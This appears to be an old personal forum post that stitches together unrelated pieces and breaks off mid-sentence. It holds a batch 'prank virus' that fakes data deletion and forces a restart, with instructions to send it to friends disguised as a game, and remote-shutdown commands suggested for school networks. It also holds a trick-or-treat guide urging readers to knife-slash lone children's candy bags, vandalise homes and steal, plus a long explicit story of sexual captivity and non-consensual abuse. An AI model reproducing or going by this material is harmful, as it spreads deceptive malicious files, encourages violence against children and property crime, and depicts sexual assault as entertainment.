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(116 votes) Published: Oct 26, 2006 6:43 a.m. Viewed 640 times
I have made you guys some avatars.
You can use them call them your own, or name them bob I do not care. so here....
(The reson the image is not here iz cause It wrecks my egg)
This is the link yall... http://i90.photobucket.com/albums/k247/an97an/patrick-.jpg
_____
*** Egg bombing a house tips
*(WHITE EGGS WORK BETTER)
* 12 month old eggs are better than 1
* Dont get people who know you hate them
* Always do on a 2 way street
* Fences take longer to climb than you think
BATCH PRANK VIRUS (WINDOWS XP)
@echo off
echo Your computer has been deleted now shuting down...
SHUTDOWN -r -t 10
1)Write this in notepad,
2)SAVE AS WHATEVERGOESHERE.BAT
The bat is importent.
3)Send it to your freinds and tell them its a game.
SHUT DOWN REMOTE WINDOWS 2000 AND NT4.0 COMPUTERS
Shutdown uses the following commands:
shutdown \\\\computername /l /a /r /t:xx "msg" /y /c
You can use the following switches with Shutdown.exe:
\\\\computername: Use this switch to specify the remote computer to shut down. If you omit this parameter, the local computer name is used.
/l (Note that this is a lowercase "L" character): Use this switch to shut down the local computer
/a: Use this switch to quit a shutdown operation. You can do this only during the time-out period. If you use this switch, all other parameters are ignored.
/r: Use this switch to restart the computer instead of fully shutting it down.
/t:xx: Use this switch to specify the time (in seconds) after which the computer is shut down. The default is 20 seconds.
"msg": Use this switch to specify a message during the shutdown process. The maximum number of characters that the message can contain is 127.
/y: Use this switch to force a "yes" answer to all queries from the computer.
/c: Use this switch quit all running programs. If you use this switch, Windows forces all programs that are running to quit. The option to save any data that may have changed is ignored. This can result in data loss in any programs for which data is not previously saved.
So theres the code, This WORKS on a network.
Soooo say school, But they would catch you.
OK I DID NOT MAKE THE BELOW BUT IT IS STILL GREAT
It pisses me off when people ask me, "Aren’t you a little old to be trick or treating?" Aren’t you a little old to be considered mortal, grandma? Now fork over your damn candy ****! I’ll be trick or treating till I can legally drink. I love trick or treating, moreso now than when I was young. I’m fifteen now, and I’ve only passed up trick or treating on one Halloween. Big mistake, you know what it’s like having to get up every five minutes and hear that god-awful "twick o tweat!" from some little kid with his overly religious, bleeding-heart liberal mom who’s always either an extreme MILF or a huge fat ****?
After that horrible day of having to constantly pause my movie and get up with the only thing keeping me sane was the sight of MILFs. I decided I’m no longer gonna miss out on trick or treating.
Halloween rules, but ya gotta know how to trick or treat right. First thing’s first, if you have a costume, secure any loose parts on it because they could easily fall off while running. And as for the costume, make sure your costume doesn’t suck, and that it’s something no one else would think to be. Thinking about being a bum? Don’t, everybody’s a bum, it’s stupid. Even worse... a ghost. Be something like the French Taunter from Monty Python and the Holy Grail or Alex from A Clockwork Orange. Also, be prepared to get your costume stained.
Second of all is your candy bag, use a pillowcase; everything else sucks ass. A pillowcase holds quite a lot of candy, is strong, and quiet. Plastic bags suck, they’re small, loud, and they break easily. Paper bags also suck, they’re too big, also loud, hard to carry, and will break when you least need it. So definitely use a pillowcase.
Now I’m gonna talk about the shit you’ll need to take with you. First, bring a knife. Make sure it’s about a medium sized pocket knife (about a 3 inch(8 cm) blade). For self protection? No. Because what happens if you see a little kid who’s trick or treating by himself? No moms or grown ups are gonna see him. So So you and your friends hide and wait for him to come by; you stay low to the ground. When he comes by you, slash his bag, then run in, grab as much candy as you can, shove it in your bag, and haul ***!
Revenge items... I’ll get to those later. But one more necessity... neccesity... Bah, can’t spell it. Anyhow, you don’t really need it, but I carry it to get back at people who piss me off. A microcassette recorder. What’s this good for? Well, if someone was a pain in the ass, record their adress, and when you go home, go to whitepages.com and do reverse search with their adress to get their phone number and prank call them at three in the morning. One of my favorites is to yell at them in a drunk voice with "WHY THE HELL DIDN’T YOU GIVE ME ANY CANDY!?"
Now for things to bring for revenge. The most conventional are the egg, toilet paper, and shaving cream. There’s a problem with this though. People are gonna be looking for stuff like that, so I like to be creative. One of my favorites is to fill film canisters with paint (I like blue; if you’ve never played EarthBound, don’t expect to understand why). I just pop the top off, and chuck them at someone’s house; paint isn’t as hard to remove as yolk, but it is much more visible! A classic is to get some dry ice, put a gallon can of paint on someone’s porch, put the dry ice in the paint, stick the top on, ring their door bell, and run like hell; preferably where you can see the action. The dry ice will build up pressure, the top will blow and paint will splatter everywhere! It’s hillarious! One thing that I thought up but never tried is to fill up a garbage can with water, tip it against someone’s door, ring the bell, and run. I never figured out how the hell to do it, because a garbage can filled with water would be pretty damn heavy. Another idea I came up with but never tried is to fill film canisters with paint combined with vinegar, and have a canister filled with baking soda with you. If someone pisses you off, go to their house, take the lid off the canister quickly put some baking soda in it and put the lid back on, put it on a part of their house that they’d least need paint on, and casually walk away. It’ll take a few seconds to build up pressure to pop the lid and leak paint, and the paint would sort of ooze out, so there’s really no need to run. Anyhow, be creative and think up your own ways to to get revenge and NOT get caught. Trust me, with this stuff, if you’re caught, you’re SCREWED!
Now for the miscellanious section... if I spelled that right.
Bring a watch, self explanatory.
Hide your film canisters where they won’t crush and get paint all over you, otherwise you’re busted. The good thing is the canisters aren’t as fragile as eggs, which you practically have to hold. I recomend in your pillow case, and try to keep them on top of your candy to prevent them from breaking open. Again, if there are any loose parts to your costume, make sure they’re secure, or bring more of them.
When you see a house with people who aren’t home and just left the candy out with that little sign that says "Please take ONE," TAKE THE WHOLE FRIGGIN THING, AND THE BOWL THE CANDY’S IN! If there’s a stand the bowl’s on that you could easily take, take it and "give" it to someone else.
Someone’s house have a nice decoration? You like it? Take it!
Glowsticks look cool at night and will prevent you from having to worry about any cars, but they just give away your location. You’re smart enough to not cross when you hear a car coming anyway. Glowsticks are for dumb kids who should get hit by cars anyway to aid the evolution of the human race.
CONSERVE YOUR AMMO! Use your canisters (or whatever you’re using) sparingly. If someone pisses you off, but not enough to be worthy of using your ammo on them, then think up ways to piss them off, like putting their decorations in naughty positions, or taking their porch lightbulbs and smashing them. But make sure to use them, you don’t want them going to waste and then waiting till "next year." It’s also best to use them at night, when the lighting’s not good.
And last but not least, go to an area that you don’t know very well (make sure to bring a friend with a good map memory so you don’t get lost)! Adventure rules, and there’s adventure when you’re in an area you don’t know about. I think adventure might just be the best part of trick or treating... next to the free candy of course. Oh, and one more VERY imporatant part of trick or treating, you MUST be ruthless. If you care too much about some little kid to steal his candy, you shouldn’t be trick or treating. That kid wasn’t gonna get a whole lot of candy anyway, but you’re shooting for a SHITLOAD! Also, don’t consider the feelings of people who pissed you off; they deserve your wrath.
And that about wraps things up. Trick or treating rules, I don’t know how thirteen year olds can say "I’m too old for that shit." Your loss, you’d rather go to a party and wake up with a hangover and a couple STDs than piss off some people and get about twenty pounds of candy.
-TVHenjin.
*******
This is great for telling people there forum sucks
Oct 26, 2006 8:11 am - [sarcasm]Your Gif making skills far exceed anything I have ever witnessed. Have you ever thought of making a tutorial program on how to make these and sell the program on cd?[/sarcasm]
Oct 26, 2006 9:15 am - you were brought up in a nudist colony
and you’re also adopted too
you wear those gay pink shorts
and your dog shits all over the floor
Oct 26, 2006 10:46 pm - wow really bad pivots...id kick your ass in a pivot face off anyday..if anyone ever wondered my avatar is made in pivot..and only 7 frames. come to me when u can make a smooth ani in 7 frames and ill give u like 3 cookies cuz your quite good. im elite at pivot
The only thing I could think of was how much I hated egg salad. But at that precise moment, I’d have eaten a raft of the fucking things rather than be in the spot I was in. I felt and heard the zipper close again, and Cathy’s maniacal cackle. Then the stench hit, hard. Rotten eggs. Old egg salad. My eyes watered, my lungs burned with a sulfuric afterglow. I fucking hate egg salad. "That was particularly bad," Cathy laughed. "I’m rather proud of that one." I struggled, but as I did the rope grew tighter around my wrist and I used up more air, rotten air, fart-tainted air. The nylon of the sleeping bag stuck to my sweaty face and I could barely breathe, and what I could breathe I didn’t want to. "Getting stuffy in there?" she asked.
The bag unzipped. I felt Cathy’s giant ass engulf my face, the hair from her copious cuntal bush that peeked around the edges of her brutally tight and short shorts tickling my mouth. She pulled the fabric aside and my nose was prisoner of her soggy shit chute again. "Ahhhhhhhh...." she sighed, as the murky mist from her fluttering ass valve enveloped me. "SSSSSSSSSSSSSSSSSSS sssssssssssssssssssssssss ..." it came, long and slow and hot, the latter half of the first blast waning into a sibilant sizzle before picking up to a trumpet blast on the follow through. "....sssssssssssssss sBLATTTTTTTTTTT!!!"
he was off me and zipped up the mummy bag tight around me again. Dank darkness engulfed me. The stench made me sneeze as I felt her ass oil drip down the back of my throat. I spit out a pussy hair and tried not to breathe. Fucking egg salad. Just two days before, all was right in my world. I’d pulled into the camping site in New Hampshire late Friday happy to be away from a shitty job, a bitchy girlfriend, a nosy family, the whole ball of dysfunctional wax. This place would be perfect, an escape until Sunday morning or afternoon, just to get the fuck away from everything and everyone. It wasn’t a popular campground, I found out, too far into the woods to be accessible to families with screaming children. But it was perfect for me. My site was hundreds of yards from the next site, and that wasn’t taken. So I pitched my tent, got hunkered down and late that afternoon, as the sun set through a maze of stately pines, I took off for a walk around the campground.
That’s when I saw Cathy, though I didn’t know her name then. I saw a flash of thigh, huge thigh, blonde hair, stout body. Powerlifter, I thought, this chick had to be a powerlifter. I hugged a thick pine and peeked around it as she pitched her tent. She was alone, I knew that, as she easily hoisted heavy bags out of her Ford pick up truck. She had her long blonde hair pulled back in a ponytail, and wore a tight black T-shirt and very tight, very short black shorts, the clingy spandex type that were so snug around her oaken thighs it seemed they’d either cut off her leg circulation or shred in the effort. On her huge calves she wore short white socks and low black boots. Her upper body was farm-girl solid, looking like it she’d been tossing bales of hay onto a truck since she learned to walk. She was pretty, too, not powerlifter ugly.
The girl was build like the proverbial brick shithouse, the BIG brick shithouse, and had a gorgeous face besides. She was bending over to drive stakes into the ground for the tent when it happened. Her giant ass cheeks, hard and muscular and thick, fluttered in pre-blast and then she unloaded a mammoth fart, a thrumbler, one I damn near felt split in a hot-air blast around the tree I was hiding behind. She laughed to herself and kept hammering. "Fucking truck stop food does it every time," she said. BOOM! Another fart, then another. And even though I was a good 20 feet away, I could smell it, that rotten egg aroma, and it was sickening me. ’Great,’ I thought to myself, ’how the fuck do I get out of here now without being spotted by this fart bitch.’ All sexual thoughts of her left me as I slowly walked away, backwards, watching her continue to hammer the stakes. I was about 30 yards down the campground road, totally out of her sight now, when I heard thundering footsteps and whirled around, fully expecting to see a charging black bear roaring at me. I was close. It was the blonde, thighs slamming into quivering motion as she raced toward me, thick arms pumping. I froze, couldn’t move, and it didn’t matter much.
She was on me in seconds, she was that quick for a big girl. She launched herself from a good 10 feet away, legs wide open. Her black spandexed crotch crashed into my face and I felt the twin oaks of her thighs slam shut around my head as we both slammed to the earth. She was on her side now, leaning up on one arm, pulling the back of my head with the other hand, smothering my face into her cheesy crotch as those insanely huge thighs chewed my head. She was speaking, but I couldn’t hear a thing with ears so full of thighs so big. I madly tapped her legs in submission but she squeezed harder. I grabbed at them and tried to pull them apart. She let up just enough for me to hear. "I said there’s no way you’re pulling these babies apart," she growled, glaring down into my red face. "My thighs are 33 inches around, my calves 22, so forget it. You’re just what I needed right now, this weekend. I have a lot of stress to work out and you’re gonna be my relief!!!" Just before I felt her iron adductors lace into my neck and shut down my blood to the brain to knock me out, I got my first whiff of cheese, rank pussy and, naturally, egg salad as I felt her thighs quiver and heard, through the conduit of her massive upper legs, a whoosh of air leave her gargantuan ass and flood up between her scissored limbs to wash over my face. Mercifully, I went to sleep.Part Two
But then, damn the luck, I woke up. My hands were bound to my sides, I was sitting against a tree watching Cathy work to build a roaring fire. It was a warm night anyway, and the glow from the fire was making me sweat. She saw me wake up and walked over to me, sitting down on a log before me, the huge creases in her socked calves and those pulsating quads making my eyes bulge. And head hurt. "Yeah, you’ll have a headache for awhile, all my scissor victims do," she said. "But you’ll have a worse fart hangover by the time your stint is up. I just love enforced fart slavery, making a man eat my farts, smell them, be one with them. Mmm...." She spread her big legs and rubbed her pussy through her shorts. I sat, open mouthed, until I snapped out of it, angry. "Stint?" I asked. "What do you mean? Please, lady, just let me go, I won’t bother you, I just came up here to get away for awhile."
She smiled. "It’s not ’lady,’ it’s ’Cathy.’ Well, to my friends it is. You call me ’Mistress Cathy’. Got it?" "What?" I asked, outraged. "Fuck you, lady, you let me go and that’s that. I’m outta here." Cathy smiled and stood up. "It’s gonna be a long weekend, little man," she said, hands on wide hips. "So what don’t we get started?" She put a huge pot of beans and franks over the fire and bubbled it up nicely before spooning out a large dish for herself, sitting cross legged on the ground before me to gobble it up. She held some out for me but I turned my head. "Suit yourself, but trust me, you’ll get hungry," she shrugged. A look came over her face, a warm look of satisfaction and anticipation. "Mmmmm, that didn’t take long," she sighed. She got to her knees before me, wiggling her huge, hard ass at me. She hiked up her shorts even higher, thick ribs of thigh meat oozing out the leg holes and revealing a swollen arc of ass meat. She reached back and kneaded her big cheeks through the tight black shorts. "Any second now...oh, yeah, here she comes!!!" She scooted back until her big thighs straddled my body as it leaned against the tree, and her huge ass was just below my face. The skies opened, or more accurately, her asscheeks did and a huge wave of foul, fetid hot air exploded in a crackling crescendo out of her rump to blast into my chest and wash up over my face. The stench was overwhelming, it was beyond rotten eggs, it was inhuman and it was right there, at me, I couldn’t avoid it.
I screamed and twisted my head from side to side to try catching a snatch of fresh air that might be left in the wake of her deadly ass blaster. "Uh-uh, no you don’t...and in you go!" Cathy growled. She leaned forward and then sprang back off her hands, her thighs wrapping around the tree trunk - and my head - to capture my face deep in the muffocating confines of her cheesy, stinky ass. My nose was pressed right into the still-sputtering ring of her asshole which I could fee through her tight shorts. Her giant thighs crushed my ears and her huge calves locked behind the tree. It was a bizarre sight, or would’ve been to anyone walking by, which wasn’t likely at this hour or location: Beautiful, muscular blonde on her hands, facing the ground, gluing her huge ass to a bound man’s face as he leans against a tree, ripping blast after blast of thick, juicy fart waves into his nose and mouth. My face was dripping with sweat, which only served to hold the lingering stinky molecules being constantly blupped from her ass to my skin. She was a non-stop fart machine, oohing and aahhing as she went, undulating her thick rump on my face, blistering it with endless ass emissions of the most acidic, foul kind, burning my nasal passages and filling my head and lungs with the most acrid stench imaginable.
Somewhere in the midst of it all, I passed out. I awoke sweaty and humid inside a mummy sleeping bag, the type Everest climbers use, the type good to like 30 below zero. And this was a warm August night. "Welcome back," I heard Cathy say. I struggled and found my hands still bound. "You were out for awhile, so I let you sleep while I cleaned up and got us ready for bed," she said, coming into my field of vision in the small, two-man tent. She was on her knees, now stripped down to tight white panties and bra, still wearing those short socks and boots. The panties, which would have been normal underwear on most women, was lost in a thong between the biggest, hardest pair of asscheeks I’d ever seen on a female. Cathy’s gigantic white ass was a sculpted work of fleshy art, thick pads of rump meat that twitched in muscle as she moved. It looked sweet, inviting, edible. Until I remembered the foul cave that lurked between them. "Oh, and I finished those beans," she giggled, straddling my chest as my head stuck out of the tightly zipped mummy bag. "Just thought you’d like to know."Part Three
It was lights out, if it wasn’t already dark enough. Cathy scooted up my chest and pressed her nasty, cheesy cunt onto my face, rubbing it hard on my moaning lips. She was using my nose now, pulling aside her panty strip to bang her clit on me. She moaned loudly, her thick hips snapping back and forth as she dragged the length of her cheesy gash over my face, back and forth, on her way to a gushing orgasm. And all the while she did, her asshole was releasing a steady steamy hiss of endless fart, a ribbon of hot air that mixed with the creamy rancid sweat string already inside her unwashed pussy to bathe my face in a constant flow of lower body rot. "YESSSSSSSSS!!!!&quo ; she screamed, slamming her squatting thighs together on my face as she squeezed out a powerful orgasm nearly snapping my jaw in the process, burying my nose deep inside the clinging cheese of her pussy hole. When she was through, she quickly spun around and peeled out of her tiny panties to impale her rancid asshole on my nose. "Smell it," she growled. "Take a big sniff of my butt cheese, fart slave!!!"
I had little choice, as she reached between her beefy thighs to smother my mouth in her big hand. Her oily shitter ring opened up like a wet sponge with a hole in it to take my nose in so far only the rest of my face stopped my whole head from being absorbed inside her milking lower intestine. I tried to breathe as best I could and felt her milking pooper walls crush my nose shut. What little air I did get was courtesy of the constant oozing of fart her craphole seemed to give up. I snorted and sniffed and snarfled pure rectal rumblings, the stench of beans and franks festering in her belly slithering out and up my nose. I have no idea how long this went on, I just know that when she was through, she sat up and moaned loudly as she felt her sticky shitter pull away from my trapped nose with a sloppy sucking sound. With her rectal ring a millimeter from my nose, she puckered it out and the meaty wetness of it touched the tip of my shnozz. Seconds later, the meat of her ample butt rippled and quaked as an F5 tornado of ass gas rocketed out and right up both nasal passages. I screamed and Cathy laughed. She quickly dismounted after layering my moaning face with the wet blast of butt wind and zipped me tight inside the bag, trapping her funky stench inside with me. I was sweating heavily, and actually crying from the torment, humiliation and agony, but mostly from that incredible stink.
Somehow, I fell asleep and when I awoke the next day I saw a pinpoint of light above my head as I tilted it back. Cathy must have unzipped the bag just enough to let me breathe and ensure she wouldn’t kill me. I heard her singing outside above the crackle of eggs and bacon. My stomach growled and I wasn’t sure if it was from hunger or nausea. "Ca....Cathy?" I called out meekly. "Can I get out...please?" She ignored me, despite my repeated calls. Then it dawned on me. "Mistress Cathy?" I tried again. "May I get out, please?" She came into the tent wearing the same clothes she had on the day before. She smiled and unzipped me, dragging me into the fresh air to sit by the fire. Smoke enveloped me and my eyes burned. It felt great compared to what I’d been breathing the night before. "You better eat, we have a long day of hiking and swimming ahead of us," she said, untying my hands. "Don’t even think of running, you saw how quickly I got you yesterday, right? Well, if I have to chase you again today, I’ll be pissed this time and just may bust your jaw in my scissors. Trust me, I can do it." I meekly ate the bacon and eggs she gave me. She devoured hers - plus a cauldron of beans again, and an entire head of raw broccoli. My eyes watered just thinking about the digestive process her ample midsection would be churning through today.
She drove us to a hiking trail near a mountain and we took off through the woods, me behind her watching her monstrous ass quiver and quake in those tiny shorts, those iron calves explode in muscle above her socks, her tree-trunk thighs rippling with each step. We walked for miles and each one was filled with the thunder of her tremendous farts, a booming parade of ass gas rumbling in front of me, treating me to the stench of her morning’s repast. Her whole body was a sheen of sweat, as was mine on this hot, sticky day. By the time we stopped for lunch, I was exhausted, practically dead from fatigue and hunger. I hadn’t eaten in a day. "Eat up," Cathy said, pulling some freeze-dried beef out of her knapsack and tossing it to me. I devoured it, plus a canteen of water I was carrying. Cathy’s freeze-dried lunch included mostly vegetables - and a fistful of dried apricots, figs and prunes. She smiled as she munched, watching my eyes fill with anticipatory tears. "You bet this is gonna stink," she laughed. "Shouldn’t take that long, either, this stuff works awfully fast." In less than 10 minutes, I could hear enormous rumblings from Cathy’s tummy. We stopped along the trail and she jogged into the woods, grabbing my arm and taking me with her. Finding a shady spot, she dropped her drawers, squatted down and took an incredible fart-powered shit, drenching the landscape with a two-foot wide spray of watery dung. "Ahhhh...." she hissed, eyes closed, rocking on her heels. "That’s better." When she finished, she looked at me. "Give me the toilet paper." My heart sank. "I don’t have any....do you?" Cathy smiled. "Yes, I do...." Part Four
Seconds later, I was flat on my back, Cathy was on my face, toward my feet, and was viciously burying my mouth up her foul, soiled asscrack that was thick with oaty chunks from her dripping bung blast. "Lick my shitter clean, fart slave," she growled. I had no choice, and slobbered my tongue up and down her ass crack, cleaning her thoroughly and as quickly as possible. When she was happy with the job I’d done, she impaled her rancid shitter onto my nose and rifled a 10-second blurp of sputtering shit-air directly into my brain.
The rest of the day was a blur, the result, I’m sure, of fart-induced brain damage. We walked for miles one way, and then another way back to her truck to drive back to the campsite, which itself was a foggy ride as she cranked up the A/C, shut the windows tight, and ribboned her poor truck seat with a solid hour of rumbling butt thunder. The stench was killing me, and at one point, when we stopped at a toll booth on a local highway and she pulled down her window to pay, the face of the collector wrinkled noticeably as the cold, fart-frozen air from the Ford waved into his small toll booth. Cathy laughed, handed him a buck for the .50 toll and said, "Keep the change, buy some nose plugs!"
We got back to the campsite and she changed into a tiny yellow bikini and made me strip to my boxers. We walked to a nearby lake and jumped in. I was thankful at least it would make her cheesy crotch at least a little cleaner. I was wrong. Cathy swam to the rocky shore of the lake and dragged me with her. She leaned up on her elbows in the shallows and pummeled my face between her enormous thighs, pulling the crotch of the bikini bottom aside. In the clear light of day, I saw a dark-veined ribbon of white, a thick spunky layer of pussy wax that had lathered up inside the hairy folds of her nasty gash from a day’s heavy walking - and shitting. "Snack time, slave," she growled. "Sorry I didn’t bring a cheese knife to cut that cunt cheddar with! Eat up!!!" Scissoring me brutally tight in the thick ropes of steel that were her inner thighs, Cathy force fed me a seemingly endless supply of gash goo. I chewed and sucked and plain licked her clean, devouring every slimy wad, going inside her nasty hole in search of more, just to make her happy.
It did, so much so she came again and again and again, for 45 minutes, until her locked thighs quivered non-stop from the effort of squeezing me and pushing out so many pussy-pounding orgasms. When she was finished, she lay back and relaxed her legs, which remained locked loosely around my face, but was now pushing it under water. I blurbed and bubbled for mercy. Cathy laughed. "Time for a swim," she announced, unlocking her legs and pulling me to the deeper waters of the lake. She swam, I mostly lolled around trying to regain myself. I’d just been locked in the thighs from hell for nearly an hour, the stench of rancid cunt was permeating my existence, and I wasn’t exactly thinking clearly. Then it got worse. Cathy swam to me and ordered me to stand with my face just above water level. "See if you can smell this," she said, laughing, turning her back to me I heard a gurgle and then saw a titanic bouquet of bubbles erupt on the water’s surface, just behind her ass. The stench was gruesome, even worse than I’d endured over the past 24 hours, it was beyond egg salad, well into the realm of decomposing flesh. And it was a wet stench, too, thickening the effect as Cathy kept farting, reaching behind her to hold my head to the water, and then forcing my face into the sputtering, broken air mass of her fart bubbles. "Eat it!!!" she screamed. "Eat my farts!!!" I chomped and swallowed and mouthed the acrid water until she seemed satisfied that I would either drown or suffocate. She laughed, and swam to shore, letting me flounder on my own for awhile.
We went back to her campsite and she prepared dinner. For me, bread, water and beef jerky. For her, a bubbling, peppery pot of nuclear hot chicken wings, the reddish residue smeared on her smiling, pretty face. "Mistress Cathy, please, don’t," I begged, whimpering. "This stuff gives my ass burn like you can’t believe," she hissed. "But you will believe, and soon, too." She was right. The smell hit me from across the campsite as she sat watching the fire burn while I cleaned up at her demand. I looked into the dark of the woods and thought of bolting, but thought better of it. It would be impossible with a clear head, never mind one addled by scissors and enforced fart masks over the last day or so. "In the tent, slave," she growled. ’Fuck it,’ I thought and tried to run, the thought of another night in the mummy bag with chicken wing farts on top of everything else she’d devoured being just too much. And just as I thought, she was on me in a flash, grabbing a low branch and swinging her mammoth legs up to capture me in a flying headscissors. She rode my shoulders back to the campsite, thundering her incredible thighs on me as I staggered us from the flame-flickered shadows to the tent. "Thanks, running like that really loosens up my shitter," she growled.Part Five
I crawled into the tent and she forced me inside the mummy bag, leaving my face out. She peeled off her nasty shorts and panties, the same ones she’d had on for days now, and turned them inside out, forcing the crotch of her shorts up one of my nostrils, the crotch of the panties up the other. "Breathe me," she growled, sitting on my face and washing my lips in the cheesy folds of her fetid snatch. Mercifully, she limited herself to a dozen or so orgasms that lasted a mere half hour before she slid back on my chest and pulled the rancid material of her shorts and panties out of my nostrils. I breathed fresh air, but the stench of her pussy and asshole was one that would never leave my skull, I feared.
"Mmmmmm, here we go," she growled, spinning around and planting her abundant ass meat flush on my face, leaning back to spread her ample cheeks with her strong hands, revealing an oily ass ring that was tinged red around the rectal lips from the oozing of paprika farts she’d been fluttering out during her face-riding session. The meat of her slimy asshole engulfed my nose, sliding over it to embrace the entire thing in its murky depths. Cathy sighed as she settled her shitter onto my face, the open wound of her wet cunt hole on my lips, a succession of vaginal farts puffing their way down my throat as I felt her asshole tighten, then relax. The sudden exhalation of rancid air from the muscular contraction of her lower intestine singed my eyebrows in its intensity and content, a thick wash of hissing ass gas devouring my entire skull, wetting my face, soaking my hair like a moist, shitty gel. It was endless and varied, the farts starting out with a nasty hiss and then progressing, as they grew in force and intensity, into a mammoth BARRRRRRRRUP-UP-UP!!! sound, the staccato emissions popping at my face like an aerated slap. From there, the farts took a basso profundo turn for the worse, bellowing out of her considerable ass grip to thunder across my trapped face in a frightening quiver of butt ham. On and on it went, Cathy coming in my mouth, Cathy farting on my face, Cathy invading the permeable tissue of every inch of my skull with the essence of her rotten ass aroma. I had no idea how long she sat on my face, using it, tainting it, staining my skin with her greasy anal emissions, but when I finally passed out from lack of oxygen, my head pressed flat into the earth below by most of her 220 pound bulk settling on me through the meaty crush of her ass, I welcomed sleep no matter if were death in disguise. In fact, I hoped for death, just so I wouldn’t have to awaken to more. But then Sunday morning came, a gloriously sunny day that I spied through the tent flaps. She’d let me out of the mummy bag to lay on top, and I’d slept soundly. The smell was still with me and no matter how many times I coughed, sneezed or shook my head, it stuck with me, a raw broccoli, shit and sweat kinda smell.
I heard crunching. I leaned to look out and saw Cathy’s muscular form standing by the truck, eating handfuls of bran right from the box, followed by tablespoons full of apricot yogurt. "Mmmrnnng," she mumbled, smiling, as she saw me duck back into the tent. "Almost time to go home, you should be happy." I said nothing, not wanting to make matters worse, as if that could happen. Cathy rumbled into the tent and pointed to the sleeping bag. Like a zombie, I climbed back inside. She took off her clothes, save for those socks and boots, and balled up her exc
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